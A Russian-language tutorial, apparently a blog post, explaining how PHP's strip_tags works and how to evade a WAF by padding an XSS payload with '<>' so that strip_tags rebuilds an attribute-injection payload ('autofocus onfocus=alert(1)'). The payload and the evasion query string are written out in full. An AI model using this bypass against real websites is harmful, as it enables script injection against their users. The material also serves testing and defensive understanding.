PHP предлагает множество вариантов, которые помогут вам предотвратить атаки XSS. Вот некоторые из них: strip_tags(...) htmlentities(...) htmlspecialchars(...) filter_input(...) urlencode(...) Code strip_tags(...) htmlentities(...) htmlspecialchars(...) filter_input(...) urlencode(...) Может быть трудно определить, какие из этих функций используются в тестируемом приложении. Они также могут быть использованы для предотвращения атак XSS. Как обнаружить strip_tags через Все между < и > удалено. Особый случай, когда существует только открывающий тег, < но не закрывающий >. В этом случае, все после < будет обрезано. Примеры: strip_tags("foo<bar>") => "foobar" strip_tags("foo<bar.....") => "foo" strip_tags("foobar>") => "foobar>" Как обойти strip_tags? Допустим, вы нашли параметр, который уязвим для XSS. <input class="input" data-id="{XSS}" value="test" /> Code <input class="input" data-id="{XSS}" value="test" /> Попробуйте простой пейлоад: <input class="input" data-id="" autofocus onfocus=alert(1) value="test" /> Code <input class="input" data-id="" autofocus onfocus=alert(1) value="test" /> Ииии... Result: Error 500: Blocked by WAF… Code Result: Error 500: Blocked by WAF… Поиск методов обхода WAF часто бывает утомительным. Допустим, код PHP выглядит примерно так <input class="input" data-id="<?=strip_tags($_GET['id-test']);?>" value="test" /> Code <input class="input" data-id="<?=strip_tags($_GET['id-test']);?>" value="test" /> Иногда мы можем злоупотреблять strip_tags, если он используется в неправильном контексте, как в этом случае. Поскольку мы находимся в контексте атрибута, нам не нужно открывать какие-либо теги (<..>) для нашей полезной нагрузки. Смотрим на нашу полезную нагрузку, " autofocus onfocus=alert(1) которая была заблокирована WAF. Что произойдет, если мы применим <> к нашей полезной нагрузке: /?id-test="<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>) Code /?id-test="<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>) WAF пропустит эту полезную нагрузку, поскольку это просто бред. PHP видит нашу полезную нагрузку и применяется strip_tags к нашей строке и удаляет все <>. Наша полезная нагрузка вызовет XSS: <input class="input" data-id="" autofocus onfocus=alert(1) value="test" /> Code <input class="input" data-id="" autofocus onfocus=alert(1) value="test" /> Резюме Если strip_tags используется в неправильном контексте, мы можем злоупотребить этим, добавив <> к нашей полезной нагрузке, что заставит WAF пропустить данный пейлоад. Когда PHP позже обработает нашу полезную нагрузку, он удалит все <> и, таким образом, пропустит наш боевой XSS пейлоад. Отказ от ответственности Автор статьи не призывает к противозаконным действиям. Материал предоставлен с целью ознакомления. Не нарушайте закон.